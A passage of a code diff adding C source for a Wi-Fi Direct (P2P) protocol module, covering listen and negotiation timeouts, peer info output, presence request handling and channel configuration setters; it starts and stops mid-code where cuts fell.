p2p->pending_action_state = P2P_NO_PENDING_ACTION; + switch (state) { + case P2P_NO_PENDING_ACTION: + if (p2p->after_scan_tx_in_progress) { + p2p->after_scan_tx_in_progress = 0; + if (p2p->start_after_scan != P2P_AFTER_SCAN_NOTHING && + p2p_run_after_scan(p2p)) + break; + if (p2p->state == P2P_SEARCH) { + p2p_dbg(p2p, "Continue find after after_scan_tx completion"); + p2p_continue_find(p2p); + } + } + break; + case P2P_PENDING_GO_NEG_REQUEST: + p2p_go_neg_req_cb(p2p, success); + break; + case P2P_PENDING_GO_NEG_RESPONSE: + p2p_go_neg_resp_cb(p2p, success); + break; + case P2P_PENDING_GO_NEG_RESPONSE_FAILURE: + p2p_go_neg_resp_failure_cb(p2p, success, dst); + break; + case P2P_PENDING_GO_NEG_CONFIRM: + p2p_go_neg_conf_cb(p2p, result); + break; + case P2P_PENDING_SD: + p2p_sd_cb(p2p, success); + break; + case P2P_PENDING_PD: + p2p_prov_disc_cb(p2p, success); + break; + case P2P_PENDING_INVITATION_REQUEST: + p2p_invitation_req_cb(p2p, success); + break; + case P2P_PENDING_INVITATION_RESPONSE: + p2p_invitation_resp_cb(p2p, success); + break; + case P2P_PENDING_DEV_DISC_REQUEST: + p2p_dev_disc_req_cb(p2p, success); + break; + case P2P_PENDING_DEV_DISC_RESPONSE: + p2p_dev_disc_resp_cb(p2p, success); + break; + case P2P_PENDING_GO_DISC_REQ: + p2p_go_disc_req_cb(p2p, success); + break; + } + + p2p->after_scan_tx_in_progress = 0; +} + + +void p2p_listen_cb(struct p2p_data *p2p, unsigned int freq, + unsigned int duration) +{ + if (freq == p2p->pending_client_disc_freq) { + p2p_dbg(p2p, "Client discoverability remain-awake completed"); + p2p->pending_client_disc_freq = 0; + return; + } + + if (freq != p2p->pending_listen_freq) { + p2p_dbg(p2p, "Unexpected listen callback for freq=%u duration=%u (pending_listen_freq=%u)", + freq, duration, p2p->pending_listen_freq); + return; + } + + p2p_dbg(p2p, "Starting Listen timeout(%u,%u) on freq=%u based on callback", + p2p->pending_listen_sec, p2p->pending_listen_usec, + p2p->pending_listen_freq); + p2p->in_listen = 1; + p2p->drv_in_listen = freq; + if (p2p->pending_listen_sec || p2p->pending_listen_usec) { + /* + * Add 20 msec extra wait to avoid race condition with driver + * remain-on-channel end event, i.e., give driver more time to + * complete the operation before our timeout expires. + */ + p2p_set_timeout(p2p, p2p->pending_listen_sec, + p2p->pending_listen_usec + 20000); + } + + p2p->pending_listen_freq = 0; +} + + +int p2p_listen_end(struct p2p_data *p2p, unsigned int freq) +{ + p2p_dbg(p2p, "Driver ended Listen state (freq=%u)", freq); + p2p->drv_in_listen = 0; + if (p2p->in_listen) + return 0; /* Internal timeout will trigger the next step */ + + if (p2p->state == P2P_CONNECT_LISTEN && p2p->go_neg_peer) { + if (p2p->go_neg_peer->connect_reqs >= 120) { + p2p_dbg(p2p, "Timeout on sending GO Negotiation Request without getting response"); + p2p_go_neg_failed(p2p, p2p->go_neg_peer, -1); + return 0; + } + + p2p_set_state(p2p, P2P_CONNECT); + p2p_connect_send(p2p, p2p->go_neg_peer); + return 1; + } else if (p2p->state == P2P_SEARCH) { + if (p2p->p2p_scan_running) { + /* + * Search is already in progress. This can happen if + * an Action frame RX is reported immediately after + * the end of a remain-on-channel operation and the + * response frame to that is sent using an offchannel + * operation while in p2p_find. Avoid an attempt to + * restart a scan here. + */ + p2p_dbg(p2p, "p2p_scan already in progress - do not try to start a new one"); + return 1; + } + if (p2p->pending_listen_freq) { + /* + * Better wait a bit if the driver is unable to start + * offchannel operation for some reason. p2p_search() + * will be started from internal timeout. + */ + p2p_dbg(p2p, "Listen operation did not seem to start - delay search phase to avoid busy loop"); + p2p_set_timeout(p2p, 0, 100000); + return 1; + } + if (p2p->search_delay) { + p2p_dbg(p2p, "Delay search operation by %u ms", + p2p->search_delay); + p2p_set_timeout(p2p, p2p->search_delay / 1000, + (p2p->search_delay % 1000) * 1000); + return 1; + } + p2p_search(p2p); + return 1; + } + + return 0; +} + + +static void p2p_timeout_connect(struct p2p_data *p2p) +{ + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + if (p2p->go_neg_peer && + (p2p->go_neg_peer->flags & P2P_DEV_WAIT_GO_NEG_CONFIRM)) { + p2p_dbg(p2p, "Wait for GO Negotiation Confirm timed out - assume GO Negotiation failed"); + p2p_go_neg_failed(p2p, p2p->go_neg_peer, -1); + return; + } + if (p2p->go_neg_peer && + (p2p->go_neg_peer->flags & P2P_DEV_PEER_WAITING_RESPONSE) && + p2p->go_neg_peer->connect_reqs < 120) { + p2p_dbg(p2p, "Peer expected to wait our response - skip listen"); + p2p_connect_send(p2p, p2p->go_neg_peer); + return; + } + + p2p_set_state(p2p, P2P_CONNECT_LISTEN); + p2p_listen_in_find(p2p, 0); +} + + +static void p2p_timeout_connect_listen(struct p2p_data *p2p) +{ + if (p2p->go_neg_peer) { + if (p2p->drv_in_listen) { + p2p_dbg(p2p, "Driver is still in Listen state; wait for it to complete"); + return; + } + + if (p2p->go_neg_peer->connect_reqs >= 120) { + p2p_dbg(p2p, "Timeout on sending GO Negotiation Request without getting response"); + p2p_go_neg_failed(p2p, p2p->go_neg_peer, -1); + return; + } + + p2p_set_state(p2p, P2P_CONNECT); + p2p_connect_send(p2p, p2p->go_neg_peer); + } else + p2p_set_state(p2p, P2P_IDLE); +} + + +static void p2p_timeout_wait_peer_connect(struct p2p_data *p2p) +{ + /* + * TODO: could remain constantly in Listen state for some time if there + * are no other concurrent uses for the radio. For now, go to listen + * state once per second to give other uses a chance to use the radio. + */ + p2p_set_state(p2p, P2P_WAIT_PEER_IDLE); + p2p_set_timeout(p2p, 0, 500000); +} + + +static void p2p_timeout_wait_peer_idle(struct p2p_data *p2p) +{ + struct p2p_device *dev = p2p->go_neg_peer; + + if (dev == NULL) { + p2p_dbg(p2p, "Unknown GO Neg peer - stop GO Neg wait"); + return; + } + + dev->wait_count++; + if (dev->wait_count >= 120) { + p2p_dbg(p2p, "Timeout on waiting peer to become ready for GO Negotiation"); + p2p_go_neg_failed(p2p, dev, -1); + return; + } + + p2p_dbg(p2p, "Go to Listen state while waiting for the peer to become ready for GO Negotiation"); + p2p_set_state(p2p, P2P_WAIT_PEER_CONNECT); + p2p_listen_in_find(p2p, 0); +} + + +static void p2p_timeout_sd_during_find(struct p2p_data *p2p) +{ + p2p_dbg(p2p, "Service Discovery Query timeout"); + if (p2p->sd_peer) { + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p->sd_peer->flags &= ~P2P_DEV_SD_SCHEDULE; + p2p->sd_peer = NULL; + } + p2p_continue_find(p2p); +} + + +static void p2p_timeout_prov_disc_during_find(struct p2p_data *p2p) +{ + p2p_dbg(p2p, "Provision Discovery Request timeout"); + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p_continue_find(p2p); +} + + +static void p2p_timeout_prov_disc_req(struct p2p_data *p2p) +{ + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + + /* + * For user initiated PD requests that we have not gotten any responses + * for while in IDLE state, we retry them a couple of times before + * giving up. + */ + if (!p2p->user_initiated_pd) + return; + + p2p_dbg(p2p, "User initiated Provision Discovery Request timeout"); + + if (p2p->pd_retries) { + p2p->pd_retries--; + p2p_retry_pd(p2p); + } else { + struct p2p_device *dev; + int for_join = 0; + + dl_list_for_each(dev, &p2p->devices, struct p2p_device, list) { + if (os_memcmp(p2p->pending_pd_devaddr, + dev->info.p2p_device_addr, ETH_ALEN) != 0) + continue; + if (dev->req_config_methods && + (dev->flags & P2P_DEV_PD_FOR_JOIN)) + for_join = 1; + } + + if (p2p->cfg->prov_disc_fail) + p2p->cfg->prov_disc_fail(p2p->cfg->cb_ctx, + p2p->pending_pd_devaddr, + for_join ? + P2P_PROV_DISC_TIMEOUT_JOIN : + P2P_PROV_DISC_TIMEOUT); + p2p_reset_pending_pd(p2p); + } +} + + +static void p2p_timeout_invite(struct p2p_data *p2p) +{ + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p_set_state(p2p, P2P_INVITE_LISTEN); + if (p2p->inv_role == P2P_INVITE_ROLE_ACTIVE_GO) { + /* + * Better remain on operating channel instead of listen channel + * when running a group. + */ + p2p_dbg(p2p, "Inviting in active GO role - wait on operating channel"); + p2p_set_timeout(p2p, 0, 100000); + return; + } + p2p_listen_in_find(p2p, 0); +} + + +static void p2p_timeout_invite_listen(struct p2p_data *p2p) +{ + if (p2p->invite_peer && p2p->invite_peer->invitation_reqs < 100) { + p2p_set_state(p2p, P2P_INVITE); + p2p_invite_send(p2p, p2p->invite_peer, + p2p->invite_go_dev_addr); + } else { + if (p2p->invite_peer) { + p2p_dbg(p2p, "Invitation Request retry limit reached"); + if (p2p->cfg->invitation_result) + p2p->cfg->invitation_result( + p2p->cfg->cb_ctx, -1, NULL, NULL, + p2p->invite_peer->info.p2p_device_addr, + 0); + } + p2p_set_state(p2p, P2P_IDLE); + } +} + + +static void p2p_state_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct p2p_data *p2p = eloop_ctx; + + p2p_dbg(p2p, "Timeout (state=%s)", p2p_state_txt(p2p->state)); + + p2p->in_listen = 0; + + switch (p2p->state) { + case P2P_IDLE: + /* Check if we timed out waiting for PD req */ + if (p2p->pending_action_state == P2P_PENDING_PD) + p2p_timeout_prov_disc_req(p2p); + break; + case P2P_SEARCH: + /* Check if we timed out waiting for PD req */ + if (p2p->pending_action_state == P2P_PENDING_PD) + p2p_timeout_prov_disc_req(p2p); + if (p2p->search_delay && !p2p->in_search_delay) { + p2p_dbg(p2p, "Delay search operation by %u ms", + p2p->search_delay); + p2p->in_search_delay = 1; + p2p_set_timeout(p2p, p2p->search_delay / 1000, + (p2p->search_delay % 1000) * 1000); + break; + } + p2p->in_search_delay = 0; + p2p_search(p2p); + break; + case P2P_CONNECT: + p2p_timeout_connect(p2p); + break; + case P2P_CONNECT_LISTEN: + p2p_timeout_connect_listen(p2p); + break; + case P2P_GO_NEG: + break; + case P2P_LISTEN_ONLY: + /* Check if we timed out waiting for PD req */ + if (p2p->pending_action_state == P2P_PENDING_PD) + p2p_timeout_prov_disc_req(p2p); + + if (p2p->ext_listen_only) { + p2p_dbg(p2p, "Extended Listen Timing - Listen State completed"); + p2p->ext_listen_only = 0; + p2p_set_state(p2p, P2P_IDLE); + } + break; + case P2P_WAIT_PEER_CONNECT: + p2p_timeout_wait_peer_connect(p2p); + break; + case P2P_WAIT_PEER_IDLE: + p2p_timeout_wait_peer_idle(p2p); + break; + case P2P_SD_DURING_FIND: + p2p_timeout_sd_during_find(p2p); + break; + case P2P_PROVISIONING: + break; + case P2P_PD_DURING_FIND: + p2p_timeout_prov_disc_during_find(p2p); + break; + case P2P_INVITE: + p2p_timeout_invite(p2p); + break; + case P2P_INVITE_LISTEN: + p2p_timeout_invite_listen(p2p); + break; + case P2P_SEARCH_WHEN_READY: + break; + case P2P_CONTINUE_SEARCH_WHEN_READY: + break; + } +} + + +int p2p_reject(struct p2p_data *p2p, const u8 *peer_addr) +{ + struct p2p_device *dev; + + dev = p2p_get_device(p2p, peer_addr); + p2p_dbg(p2p, "Local request to reject connection attempts by peer " + MACSTR, MAC2STR(peer_addr)); + if (dev == NULL) { + p2p_dbg(p2p, "Peer " MACSTR " unknown", MAC2STR(peer_addr)); + return -1; + } + dev->status = P2P_SC_FAIL_REJECTED_BY_USER; + dev->flags |= P2P_DEV_USER_REJECTED; + return 0; +} + + +const char * p2p_wps_method_text(enum p2p_wps_method method) +{ + switch (method) { + case WPS_NOT_READY: + return "not-ready"; + case WPS_PIN_DISPLAY: + return "Display"; + case WPS_PIN_KEYPAD: + return "Keypad"; + case WPS_PBC: + return "PBC"; + } + + return "??"; +} + + +static const char * p2p_go_state_text(enum p2p_go_state go_state) +{ + switch (go_state) { + case UNKNOWN_GO: + return "unknown"; + case LOCAL_GO: + return "local"; + case REMOTE_GO: + return "remote"; + } + + return "??"; +} + + +const struct p2p_peer_info * p2p_get_peer_info(struct p2p_data *p2p, + const u8 *addr, int next) +{ + struct p2p_device *dev; + + if (addr) + dev = p2p_get_device(p2p, addr); + else + dev = dl_list_first(&p2p->devices, struct p2p_device, list); + + if (dev && next) { + dev = dl_list_first(&dev->list, struct p2p_device, list); + if (&dev->list == &p2p->devices) + dev = NULL; + } + + if (dev == NULL) + return NULL; + + return &dev->info; +} + + +int p2p_get_peer_info_txt(const struct p2p_peer_info *info, + char *buf, size_t buflen) +{ + struct p2p_device *dev; + int res; + char *pos, *end; + struct os_time now; + + if (info == NULL) + return -1; + + dev = (struct p2p_device *) (((u8 *) info) - + offsetof(struct p2p_device, info)); + + pos = buf; + end = buf + buflen; + + os_get_time(&now); + res = os_snprintf(pos, end - pos, + "age=%d\n" + "listen_freq=%d\n" + "wps_method=%s\n" + "interface_addr=" MACSTR "\n" + "member_in_go_dev=" MACSTR "\n" + "member_in_go_iface=" MACSTR "\n" + "go_neg_req_sent=%d\n" + "go_state=%s\n" + "dialog_token=%u\n" + "intended_addr=" MACSTR "\n" + "country=%c%c\n" + "oper_freq=%d\n" + "req_config_methods=0x%x\n" + "flags=%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n" + "status=%d\n" + "wait_count=%u\n" + "invitation_reqs=%u\n", + (int) (now.sec - dev->last_seen.sec), + dev->listen_freq, + p2p_wps_method_text(dev->wps_method), + MAC2STR(dev->interface_addr), + MAC2STR(dev->member_in_go_dev), + MAC2STR(dev->member_in_go_iface), + dev->go_neg_req_sent, + p2p_go_state_text(dev->go_state), + dev->dialog_token, + MAC2STR(dev->intended_addr), + dev->country[0] ? dev->country[0] : '_', + dev->country[1] ? dev->country[1] : '_', + dev->oper_freq, + dev->req_config_methods, + dev->flags & P2P_DEV_PROBE_REQ_ONLY ? + "[PROBE_REQ_ONLY]" : "", + dev->flags & P2P_DEV_REPORTED ? "[REPORTED]" : "", + dev->flags & P2P_DEV_NOT_YET_READY ? + "[NOT_YET_READY]" : "", + dev->flags & P2P_DEV_SD_INFO ? "[SD_INFO]" : "", + dev->flags & P2P_DEV_SD_SCHEDULE ? "[SD_SCHEDULE]" : + "", + dev->flags & P2P_DEV_PD_PEER_DISPLAY ? + "[PD_PEER_DISPLAY]" : "", + dev->flags & P2P_DEV_PD_PEER_KEYPAD ? + "[PD_PEER_KEYPAD]" : "", + dev->flags & P2P_DEV_USER_REJECTED ? + "[USER_REJECTED]" : "", + dev->flags & P2P_DEV_PEER_WAITING_RESPONSE ? + "[PEER_WAITING_RESPONSE]" : "", + dev->flags & P2P_DEV_PREFER_PERSISTENT_GROUP ? + "[PREFER_PERSISTENT_GROUP]" : "", + dev->flags & P2P_DEV_WAIT_GO_NEG_RESPONSE ? + "[WAIT_GO_NEG_RESPONSE]" : "", + dev->flags & P2P_DEV_WAIT_GO_NEG_CONFIRM ? + "[WAIT_GO_NEG_CONFIRM]" : "", + dev->flags & P2P_DEV_GROUP_CLIENT_ONLY ? + "[GROUP_CLIENT_ONLY]" : "", + dev->flags & P2P_DEV_FORCE_FREQ ? + "[FORCE_FREQ]" : "", + dev->flags & P2P_DEV_PD_FOR_JOIN ? + "[PD_FOR_JOIN]" : "", + dev->status, + dev->wait_count, + dev->invitation_reqs); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + + if (dev->ext_listen_period) { + res = os_snprintf(pos, end - pos, + "ext_listen_period=%u\n" + "ext_listen_interval=%u\n", + dev->ext_listen_period, + dev->ext_listen_interval); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + } + + if (dev->oper_ssid_len) { + res = os_snprintf(pos, end - pos, + "oper_ssid=%s\n", + wpa_ssid_txt(dev->oper_ssid, + dev->oper_ssid_len)); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + } + +#ifdef CONFIG_WIFI_DISPLAY + if (dev->info.wfd_subelems) { + res = os_snprintf(pos, end - pos, "wfd_subelems="); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + + pos += wpa_snprintf_hex(pos, end - pos, + wpabuf_head(dev->info.wfd_subelems), + wpabuf_len(dev->info.wfd_subelems)); + + res = os_snprintf(pos, end - pos, "\n"); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + } +#endif /* CONFIG_WIFI_DISPLAY */ + + return pos - buf; +} + + +int p2p_peer_known(struct p2p_data *p2p, const u8 *addr) +{ + return p2p_get_device(p2p, addr) != NULL; +} + + +void p2p_set_client_discoverability(struct p2p_data *p2p, int enabled) +{ + if (enabled) { + p2p_dbg(p2p, "Client discoverability enabled"); + p2p->dev_capab |= P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + } else { + p2p_dbg(p2p, "Client discoverability disabled"); + p2p->dev_capab &= ~P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY; + } +} + + +static struct wpabuf * p2p_build_presence_req(u32 duration1, u32 interval1, + u32 duration2, u32 interval2) +{ + struct wpabuf *req; + struct p2p_noa_desc desc1, desc2, *ptr1 = NULL, *ptr2 = NULL; + u8 *len; + + req = wpabuf_alloc(100); + if (req == NULL) + return NULL; + + if (duration1 || interval1) { + os_memset(&desc1, 0, sizeof(desc1)); + desc1.count_type = 1; + desc1.duration = duration1; + desc1.interval = interval1; + ptr1 = &desc1; + + if (duration2 || interval2) { + os_memset(&desc2, 0, sizeof(desc2)); + desc2.count_type = 2; + desc2.duration = duration2; + desc2.interval = interval2; + ptr2 = &desc2; + } + } + + p2p_buf_add_action_hdr(req, P2P_PRESENCE_REQ, 1); + len = p2p_buf_add_ie_hdr(req); + p2p_buf_add_noa(req, 0, 0, 0, ptr1, ptr2); + p2p_buf_update_ie_hdr(req, len); + + return req; +} + + +int p2p_presence_req(struct p2p_data *p2p, const u8 *go_interface_addr, + const u8 *own_interface_addr, unsigned int freq, + u32 duration1, u32 interval1, u32 duration2, + u32 interval2) +{ + struct wpabuf *req; + + p2p_dbg(p2p, "Send Presence Request to GO " MACSTR + " (own interface " MACSTR ") freq=%u dur1=%u int1=%u " + "dur2=%u int2=%u", + MAC2STR(go_interface_addr), MAC2STR(own_interface_addr), + freq, duration1, interval1, duration2, interval2); + + req = p2p_build_presence_req(duration1, interval1, duration2, + interval2); + if (req == NULL) + return -1; + + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + if (p2p_send_action(p2p, freq, go_interface_addr, own_interface_addr, + go_interface_addr, + wpabuf_head(req), wpabuf_len(req), 200) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + } + wpabuf_free(req); + + return 0; +} + + +static struct wpabuf * p2p_build_presence_resp(u8 status, const u8 *noa, + size_t noa_len, u8 dialog_token) +{ + struct wpabuf *resp; + u8 *len; + + resp = wpabuf_alloc(100 + noa_len); + if (resp == NULL) + return NULL; + + p2p_buf_add_action_hdr(resp, P2P_PRESENCE_RESP, dialog_token); + len = p2p_buf_add_ie_hdr(resp); + p2p_buf_add_status(resp, status); + if (noa) { + wpabuf_put_u8(resp, P2P_ATTR_NOTICE_OF_ABSENCE); + wpabuf_put_le16(resp, noa_len); + wpabuf_put_data(resp, noa, noa_len); + } else + p2p_buf_add_noa(resp, 0, 0, 0, NULL, NULL); + p2p_buf_update_ie_hdr(resp, len); + + return resp; +} + + +static void p2p_process_presence_req(struct p2p_data *p2p, const u8 *da, + const u8 *sa, const u8 *data, size_t len, + int rx_freq) +{ + struct p2p_message msg; + u8 status; + struct wpabuf *resp; + size_t g; + struct p2p_group *group = NULL; + int parsed = 0; + u8 noa[50]; + int noa_len; + + p2p_dbg(p2p, "Received P2P Action - P2P Presence Request"); + + for (g = 0; g < p2p->num_groups; g++) { + if (os_memcmp(da, p2p_group_get_interface_addr(p2p->groups[g]), + ETH_ALEN) == 0) { + group = p2p->groups[g]; + break; + } + } + if (group == NULL) { + p2p_dbg(p2p, "Ignore P2P Presence Request for unknown group " + MACSTR, MAC2STR(da)); + return; + } + + if (p2p_parse(data, len, &msg) < 0) { + p2p_dbg(p2p, "Failed to parse P2P Presence Request"); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + parsed = 1; + + if (msg.noa == NULL) { + p2p_dbg(p2p, "No NoA attribute in P2P Presence Request"); + status = P2P_SC_FAIL_INVALID_PARAMS; + goto fail; + } + + status = p2p_group_presence_req(group, sa, msg.noa, msg.noa_len); + +fail: + if (p2p->cfg->get_noa) + noa_len = p2p->cfg->get_noa(p2p->cfg->cb_ctx, da, noa, + sizeof(noa)); + else + noa_len = -1; + resp = p2p_build_presence_resp(status, noa_len > 0 ? noa : NULL, + noa_len > 0 ? noa_len : 0, + msg.dialog_token); + if (parsed) + p2p_parse_free(&msg); + if (resp == NULL) + return; + + p2p->pending_action_state = P2P_NO_PENDING_ACTION; + if (p2p_send_action(p2p, rx_freq, sa, da, da, + wpabuf_head(resp), wpabuf_len(resp), 200) < 0) { + p2p_dbg(p2p, "Failed to send Action frame"); + } + wpabuf_free(resp); +} + + +static void p2p_process_presence_resp(struct p2p_data *p2p, const u8 *da, + const u8 *sa, const u8 *data, size_t len) +{ + struct p2p_message msg; + + p2p_dbg(p2p, "Received P2P Action - P2P Presence Response"); + + if (p2p_parse(data, len, &msg) < 0) { + p2p_dbg(p2p, "Failed to parse P2P Presence Response"); + return; + } + + if (msg.status == NULL || msg.noa == NULL) { + p2p_dbg(p2p, "No Status or NoA attribute in P2P Presence Response"); + p2p_parse_free(&msg); + return; + } + + if (*msg.status) { + p2p_dbg(p2p, "P2P Presence Request was rejected: status %u", + *msg.status); + p2p_parse_free(&msg); + return; + } + + p2p_dbg(p2p, "P2P Presence Request was accepted"); + wpa_hexdump(MSG_DEBUG, "P2P: P2P Presence Response - NoA", + msg.noa, msg.noa_len); + /* TODO: process NoA */ + p2p_parse_free(&msg); +} + + +static void p2p_ext_listen_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct p2p_data *p2p = eloop_ctx; + + if (p2p->ext_listen_interval) { + /* Schedule next extended listen timeout */ + eloop_register_timeout(p2p->ext_listen_interval_sec, + p2p->ext_listen_interval_usec, + p2p_ext_listen_timeout, p2p, NULL); + } + + if (p2p->state == P2P_LISTEN_ONLY && p2p->ext_listen_only) { + /* + * This should not really happen, but it looks like the Listen + * command may fail is something else (e.g., a scan) was + * running at an inconvenient time. As a workaround, allow new + * Extended Listen operation to be started. + */ + p2p_dbg(p2p, "Previous Extended Listen operation had not been completed - try again"); + p2p->ext_listen_only = 0; + p2p_set_state(p2p, P2P_IDLE); + } + + if (p2p->state != P2P_IDLE) { + p2p_dbg(p2p, "Skip Extended Listen timeout in active state (%s)", p2p_state_txt(p2p->state)); + return; + } + + p2p_dbg(p2p, "Extended Listen timeout"); + p2p->ext_listen_only = 1; + if (p2p_listen(p2p, p2p->ext_listen_period) < 0) { + p2p_dbg(p2p, "Failed to start Listen state for Extended Listen Timing"); + p2p->ext_listen_only = 0; + } +} + + +int p2p_ext_listen(struct p2p_data *p2p, unsigned int period, + unsigned int interval) +{ + if (period > 65535 || interval > 65535 || period > interval || + (period == 0 && interval > 0) || (period > 0 && interval == 0)) { + p2p_dbg(p2p, "Invalid Extended Listen Timing request: period=%u interval=%u", + period, interval); + return -1; + } + + eloop_cancel_timeout(p2p_ext_listen_timeout, p2p, NULL); + + if (interval == 0) { + p2p_dbg(p2p, "Disabling Extended Listen Timing"); + p2p->ext_listen_period = 0; + p2p->ext_listen_interval = 0; + return 0; + } + + p2p_dbg(p2p, "Enabling Extended Listen Timing: period %u msec, interval %u msec", + period, interval); + p2p->ext_listen_period = period; + p2p->ext_listen_interval = interval; + p2p->ext_listen_interval_sec = interval / 1000; + p2p->ext_listen_interval_usec = (interval % 1000) * 1000; + + eloop_register_timeout(p2p->ext_listen_interval_sec, + p2p->ext_listen_interval_usec, + p2p_ext_listen_timeout, p2p, NULL); + + return 0; +} + + +void p2p_deauth_notif(struct p2p_data *p2p, const u8 *bssid, u16 reason_code, + const u8 *ie, size_t ie_len) +{ + struct p2p_message msg; + + if (bssid == NULL || ie == NULL) + return; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_ies(ie, ie_len, &msg)) + return; + if (msg.minor_reason_code == NULL) + return; + + p2p_dbg(p2p, "Deauthentication notification BSSID " MACSTR + " reason_code=%u minor_reason_code=%u", + MAC2STR(bssid), reason_code, *msg.minor_reason_code); + + p2p_parse_free(&msg); +} + + +void p2p_disassoc_notif(struct p2p_data *p2p, const u8 *bssid, u16 reason_code, + const u8 *ie, size_t ie_len) +{ + struct p2p_message msg; + + if (bssid == NULL || ie == NULL) + return; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_ies(ie, ie_len, &msg)) + return; + if (msg.minor_reason_code == NULL) + return; + + p2p_dbg(p2p, "Disassociation notification BSSID " MACSTR + " reason_code=%u minor_reason_code=%u", + MAC2STR(bssid), reason_code, *msg.minor_reason_code); + + p2p_parse_free(&msg); +} + + +void p2p_set_managed_oper(struct p2p_data *p2p, int enabled) +{ + if (enabled) { + p2p_dbg(p2p, "Managed P2P Device operations enabled"); + p2p->dev_capab |= P2P_DEV_CAPAB_INFRA_MANAGED; + } else { + p2p_dbg(p2p, "Managed P2P Device operations disabled"); + p2p->dev_capab &= ~P2P_DEV_CAPAB_INFRA_MANAGED; + } +} + + +int p2p_set_listen_channel(struct p2p_data *p2p, u8 reg_class, u8 channel) +{ + if (p2p_channel_to_freq(reg_class, channel) < 0) + return -1; + + p2p_dbg(p2p, "Set Listen channel: reg_class %u channel %u", + reg_class, channel); + p2p->cfg->reg_class = reg_class; + p2p->cfg->channel = channel; + + return 0; +} + + +int p2p_set_ssid_postfix(struct p2p_data *p2p, const u8 *postfix, size_t len) +{ + p2p_dbg(p2p, "New SSID postfix: %s", wpa_ssid_txt(postfix, len)); + if (postfix == NULL) { + p2p->cfg->ssid_postfix_len = 0; + return 0; + } + if (len > sizeof(p2p->cfg->ssid_postfix)) + return -1; + os_memcpy(p2p->cfg->ssid_postfix, postfix, len); + p2p->cfg->ssid_postfix_len = len; + return 0; +} + + +int p2p_set_oper_channel(struct p2p_data *p2p, u8 op_reg_class, u8 op_channel, + int cfg_op_channel) +{ + if (p2p_channel_to_freq(op_reg_class, op_channel) < 0) + return -1; + + p2p_dbg(p2p, "Set Operating channel: reg_class %u channel %u", + op_reg_class, op_channel); + p2p->cfg->op_reg_class = op_reg_class; + p2p->cfg->op_channel = op_channel; + p2p->cfg->cfg_op_channel = cfg_op_channel; + return 0; +} + + +int p2p_set_pref_chan(struct p2p_data *p2p, unsigned int num_pref_chan, + const struct p2p_channel *pref_chan) +{ + struct p2p_channel *n; + + if (pref_chan) { + n = os_malloc(num_pref_chan * sizeof(struct p2p_channel)); + if (n == NULL) + return -1; + os_memcpy(n, pref_chan, + num_pref_chan * sizeof(struct p2p_channel)); + } else + n = NULL; + + os_free(p2p->cfg->pref_chan); + p2p->cfg->pref_chan = n; + p2p->cfg->num_pref_chan = num_pref_chan; + + return 0; +} + + +int p2p_set_no_go_freq(struct p2p_data *p2p, + const struct wpa_freq_range_list *list) +{ + struct wpa_freq_range *tmp; + + if (list == NULL || list->num == 0) { + os_free(p2p->no_go_freq.range); + p2p->no_go_freq.range = NULL; + p2p->no_go_freq.num = 0; + return 0; + } + + tmp = os_calloc(list->num, sizeof(struct wpa_freq_range)); + if (tmp == NULL) + return -1; + os_memcpy(tmp, list->range, list->num * sizeof(struct wpa_freq_range)); + os_free(p2p->no_go_freq.range); + p2p->no_go_freq.range = tmp; + p2p->no_go_freq.num = list->num; + p2p_dbg(p2p, "Updated no GO chan list"); + + return 0; +} + + +int p2p_get_interface_addr(struct p2p_data *p2p, const u8 *dev_addr, + u8 *iface_addr) +{ + struct p2p_device *dev = p2p_get_device(p2p, dev_addr); + if (dev == NULL || is_zero_ether_addr(dev->interface_addr)) + return -1; + os_memcpy(iface_addr, dev->interface_addr, ETH_ALEN); + return 0; +} + + +int p2p_get_dev_addr(struct p2p_data *p2p, const u8 *iface_addr, + u8 *dev_addr) +{ + struct p2p_device *dev = p2p_get_device_interface(p2p, iface_addr); + if (dev == NULL) + return -1; + os_memcpy(dev_addr, dev->info.p2p_device_addr, ETH_ALEN); + return 0; +} + + +void p2p_set_peer_filter(struct p2p_data *p2p, const u8 *addr) +{ + os_memcpy(p2p->peer_filter, addr, ETH_ALEN); + if (is_zero_ether_addr(p2p->peer_filter)) + p2p_dbg(p2p, "Disable peer filter"); + else + p2p_dbg(p2p, "Enable peer filter for " MACSTR, + MAC2STR(p2p->peer_filter)); +} + + +void p2p_set_cross_connect(struct p2p_data *p2p, int enabled) +{ + p2p_dbg(p2p, "Cross connection %s", enabled ? "enabled" : "disabled"); + if (p2p->cross_connect == enabled) + return; + p2p->cross_connect = enabled; + /* TODO: may need to tear down any action group where we are GO(?) */ +} + + +int p2p_get_oper_freq(struct p2p_data *p2p, const u8 *iface_addr) +{ + struct p2p_device *dev = p2p_get_device_interface(p2p, iface_addr); + if (dev == NULL) + return -1; + if (dev->oper_freq <= 0) + return -1; + return dev->oper_freq; +} + + +void p2p_set_intra_bss_dist(struct p2p_data *p2p, int enabled) +{ + p2p_dbg(p2p, "Intra BSS distribution %s", + enabled ? "enabled" : "disabled"); + p2p->cfg->p2p_intra_bss = enabled; +} + + +void p2p_update_channel_list(struct p2p_data *p2p, + const struct p2p_channels *chan, + const struct p2p_channels *cli_chan) +{ + p2p_dbg(p2p, "Update channel list"); + os_memcpy(&p2p->cfg->channels, chan, sizeof(struct p2p_channels)); + p2p_channels_dump(p2p, "channels", &p2p->cfg->channels); + os_memcpy(&p2p->cfg->cli_channels, cli_chan, + sizeof(struct p2p_channels)); + p2p_channels_dump(p2p, "cli_channels", &p2p->cfg->cli_channels); +} + + +int p2p_send_action(struct p2p_data 